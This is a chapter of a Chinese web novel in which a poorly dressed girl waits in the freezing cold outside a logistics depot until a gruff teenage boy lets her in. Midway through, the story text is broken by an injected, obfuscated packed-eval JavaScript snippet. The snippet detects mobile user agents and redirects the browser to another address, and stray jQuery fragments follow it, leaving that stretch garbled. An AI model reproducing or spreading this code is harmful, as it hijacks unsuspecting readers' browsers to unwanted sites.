从梅溪村到凛城，大货车走了整整三天。
车身糊满灰褐色的泥污，只有挡风玻璃被雨刷刮出一片勉强透亮的区域。
陈夏蜷在副驾角落，脸贴着结满冰花的车窗，透过没被冻住的缝隙，第一次看清这座城市。
没有山，只有望不见头的平原和灰扑扑的楼。
天空是那种压抑的铅灰色，低得仿佛随时会塌下来。
路旁庞大的烟囱像巨人的手指插向天空，喷吐着大团大团白色的浓烟，还没散开就被狂风撕碎。
马路宽得离谱，两侧堆着脏兮兮的黑雪。
重型卡车接连呼啸而过，卷起的雪泥噼里啪啦地砸在车窗上。
“到了。”
驾驶座上的男人把烟头往窗外一弹，踩了一脚刹车。伴随着刺耳的气刹声，车头猛地顿挫了一下，停在了满是煤渣的路边。
副驾驶的车门被推开，一股混着煤灰味和柴油味的寒气瞬间灌了进来，呛得人喉咙发紧。陈夏打了个寒颤，下意识抱紧怀里破旧的书包。
“丫头，下车吧。”司机刘叔是个热心肠，但也是个急脾气，这会儿正赶着去前面的物流园卸货，“你妈给的地址就在这儿。看见前面那个红牌子没？疾风物流就那儿。叔还得赶时间排队进场，就不送你进去了啊。”
陈夏没说话，只是乖顺地点了点头。
她笨拙地爬下高高的货车踏板，脚刚沾地，就被结冰的路面滑得踉跄了一下。
刘叔从后座把那个快赶上她人高的蛇皮袋行李扔了下来，“砰”的一声砸在路边的黑雪里。
“行了，快进去吧，外头太冷了。”
大货车喷出一股黑烟，轰隆隆地开走了，很快消失在灰色的雾霾里。世界仿佛瞬间安静了下来，只剩下呼啸的风声，像是野兽在低鸣。
陈夏站在路边，看着眼前陌生的景象。
那是由废弃厂房改造的一排二层楼，突兀地立在城郊的路旁。几家商铺和汽修厂混杂其中，而正中那两扇蓝色卷帘门，一扇紧闭，一扇半掩着，像巨兽半张开的嘴。
门头上挂着一块巨大的红底白字招牌——
疾风物流配送中心。
那几个字经过多年的风吹日晒，边缘已经泛白起皮，像这座城市一样粗糙、坚硬。
陈夏吸了吸鼻子，试图把即将冻出来的鼻涕吸回去。
她穿着一件极不合时宜的粉色薄棉袄，是在梅溪村的外婆给做的，在南方的湿冷里还能顶一顶，到了这零下二十度的凛城，简直像张纸一样薄。
袖口短了一截，露出了里面灰色的起球线衣。下身是一条单薄的黑色校裤，脚踝露在外面，已经被凛城的风吹成了青紫色。
太冷了。
这种冷是物理攻击，没有任何缓冲。陈夏觉得自己像是赤身被扔进了冰窖里，浑身的血液都要凝固了。
她拖着那个沉重的蛇皮袋，一步一滑地挪到那扇半掩的卷帘门前。
里面黑洞洞的，堆满了像山一样的棕色纸箱子，空气里弥漫着一股胶带、纸板和机油混合的特殊味道。
似乎并没有人在。
陈夏不敢进去。她怕黑，也怕生人，更怕自己走错了地方。
妈妈在电话里说过，会在门口等她。
可现在，这里只有风声和偶尔路过的重型卡车。
她在门口呆立片刻，找了个避风的角落，默默将蛇皮袋竖起来，自己缩进袋子和墙之间的夹缝里，像一只试图把自己藏起来的蜗牛。
时间一分一秒过去，天色渐渐暗了下来。
凛城的冬天，下午四点半就开始黑天了。路灯昏黄地亮起，把她的影子拉得很长，很孤单。
就在陈夏感觉脚趾已经失去知觉，眼睫毛上都结了一层霜的时候，远处传来了一阵刺耳的刹车声。
一辆改装过的蓝色三轮车，像一头失控的野牛，贴着路边的积雪一个漂移，车尾甩起一片泥点子，嚣张地停在了物流站门口。
车还没停稳，驾驶座上就跳下来一个少年。
他脸看上去年纪与她相仿，身形却比她高很多，骨架已经撑开，像北方野地里疯长起来的一棵小白杨。
更令人惊讶的是，在这滴水成冰的天气里，他竟然敞着身上的羽绒服，里面只穿了一件单薄的黑色卫衣。袖子随意地撸到手肘，露出的小臂精瘦有力，上面青筋微凸，还蹭着一道黑乎乎的机油印。
少年满头热气，手里拎着一大串钥匙，哗啦啦作响。
陈潮今天心情不太好。
年底快递爆仓，又临时出了一车加急海鲜件的问题，他爸和张姨不得不赶去隔壁市救火，他一个人顶了两个人的活，送完南区的最后一百件货，感觉腰都要断了。
刚下车，他就看见了门口那团粉色的影子。
陈潮皱了皱眉，天生的领地意识让他对出现在家门口的陌生人充满了警惕。他迈着长腿几步走过去，居高临下地看着缩在墙角的陈夏。
“喂。”
少年的声音刚进入变声期，带着一种砂纸打磨过的粗粝感，语气很不耐烦：“取件的？”
陈夏被吓得猛地一抖。
她抬起头，迎上一张棱角分明、眼神不善的脸。微微上挑的眼睛亮得锐利，正死死盯住她。
陈夏的喉咙像是被棉花堵住了，发不出一点声音。她只能死死抱着怀里的书包，惊恐地看着他，然后僵硬地摇了摇头。
“不是取件的？”
陈潮眉头拧得更紧了，上下打量了她一眼。
穿得土里土气，身上的粉棉袄旧得都快包浆了，脸也冻得跟个猴屁股似的。
“那是寄件的？”陈潮耐着性子又问了一句，瞥了眼她怀里的书包，“东西呢？打包了吗？”
陈夏还是摇头。
她紧紧抿着唇，眼神躲闪，根本不敢看陈潮的眼睛，只想把自己缩进墙缝里。
陈潮的耐心彻底告罄。
他忙了一天连口热饭都没吃上，本来就烦躁，现在还要跟个哑巴在这儿猜谜语。
“不取也不寄，你杵这儿当门神啊？”
陈潮“啧”了一声，怀疑眼前是个偷窃或者碰瓷的。
临近年关，附近多了不少借小孩博同情，偷窃碰瓷的事儿。
他不禁语气变得恶劣起来：“起开起开，别挡道。这儿是大车进出的地儿，待会儿被撞了可没人管你。”
说完，他不再看陈夏，转身上了三轮车，熟练地把车倒进仓库，然后“哐当”一声拉下了半扇卷帘门，准备锁门走人。
陈夏被那声巨响吓得缩了缩脖子，本能地抱着书包往旁边挪了两步，让出了大门口的位置，但依然没有走。
她不敢走。刘叔说妈妈就在这儿，这是她唯一的指望。
陈潮上了仓库二楼，从暖瓶倒了杯水，晾温了几口灌下，又胡乱啃了半个面包，便抱起篮球出了门。
谁知一下楼，转头就看见那团粉色的身影还缩在仓库门口。
她嘴唇已经冻得发紫，整个人像个被遗弃在路边的破布娃娃，还在那儿瑟瑟发抖。
陈潮无语了。
他双手插兜立在台阶上，朝路口扬了扬下巴：“喂，听不懂话？让你走远点。待会儿天黑透了，这片儿全是野狗。”
陈夏还是不说话。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032865|194560||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>她只是抬起那双湿漉漉的、像受惊小鹿一样的眼睛，飞快地看了陈潮一眼，随即又迅速低下头，看着自己那双已经被雪水浸透、正在往外渗水的单鞋。
那一眼，看得陈潮莫名心里一堵。
隔壁传来了好友李浩的喊声：“潮哥！快点！场子占好了，再不来就被洗浴中心那帮孙子抢了！”
“催命啊！来了！”陈潮不耐烦地吼回去。
他转身想走，可是迈出去的脚却怎么也落不实。
这鬼天气，零下十几度，那土包子穿的是什么玩意儿？
而且看她那一动不动的架势，估计是真没地儿去。
陈潮低头看了眼自己脚上新买的篮球鞋，踩在雪里都觉得有点凉。她那双破布鞋，怕是早就透心凉了。
“操。”
陈潮低骂了一声，停下脚步，烦躁地抓了抓那头硬茬茬的短发。
他猛地转过身，大步走回门口。
随着他的靠近，一股属于少年的热气和压迫感扑面而来，陈夏吓得往后退了一步，后背贴在了冰冷的墙砖上，闭上了眼睛等待挨骂。
然而，预想中的斥责没有来。
“哗啦——”
刺耳的金属摩擦声响起，大门被用力推了上去。
仓库里昏黄的灯光洒了出来，带着一丝暖意，照亮了陈夏脚下的那一小块黑雪。
“进来。”
陈潮松开手，双手抱臂靠在门框上，下巴往仓库里面扬了扬，语气依然很冲。
陈夏愣住了，不太相信地看着他，没敢动。
“看什么看？真听不懂人话？”陈潮眉梢一扬，露出一副凶神恶煞的表情，“让你进来等着！别想冻死在我家门口讹钱。”
陈夏迟疑动了动唇，想说她只是在等人，没有想讹钱的意思。
可没等她开口，陈潮已经失去耐心，伸手攥住了她细得像一折就断的胳膊。
隔着那层薄薄的棉袄，他甚至能感觉到她骨头在发抖。
稍一用力，他就把人像拎小鸡似的拽进了屋里。
“砰”一声，卷帘门重新拉下，只留一道能过人的窄缝透气。
世界瞬间安静了。风声被挡在外面。
仓库里其实也冷，可对于快要冻僵的陈夏来说，已经算得上天堂。就连空气里那股纸箱和机油混合的味道，此刻也让她感到一丝奇异的安全。
她偏头看了看那道门缝，能望见外面来往的人影，即使妈妈来了，她也能一眼看见，便没再反抗。
陈潮松开手，嫌弃地拍了拍手上的灰，好像刚才抓了什么脏东西。
他指了指角落里的一张缺了腿、垫着砖头的旧沙发，像个发号施令的小霸王：
“就坐那儿。别乱跑，别乱摸。”
说完，他转身要走，抱着篮球走了两步又停下来。
他回头，恶狠狠地指了指那一堆堆像山一样的快递箱，眯起那双狭长的眼睛，警告道：
“看见这些货没？每一个都比你值钱。这儿有监控，要是少一件……把你卖了都赔不起。听见没？”
陈夏被他那凌厉的眼神吓得一激灵，这次终于有了反应，拼命地点头，像捣蒜一样。
“啧，是个哑巴么。”陈潮嘟囔了一句，把卫衣的帽子往头上一扣，从窄缝里钻了出去。
陈夏抱着书包，小心翼翼地挪到那张破沙发上坐下。
沙发很硬，还带着一股陈旧的烟味，可她竟觉出几分安心。
她透过卷帘门的缝隙，望着那个逐渐跑远的背影。
少年跑得很快，像一团不知冷暖的火，消失在了凛城灰蓝色的暮霭里。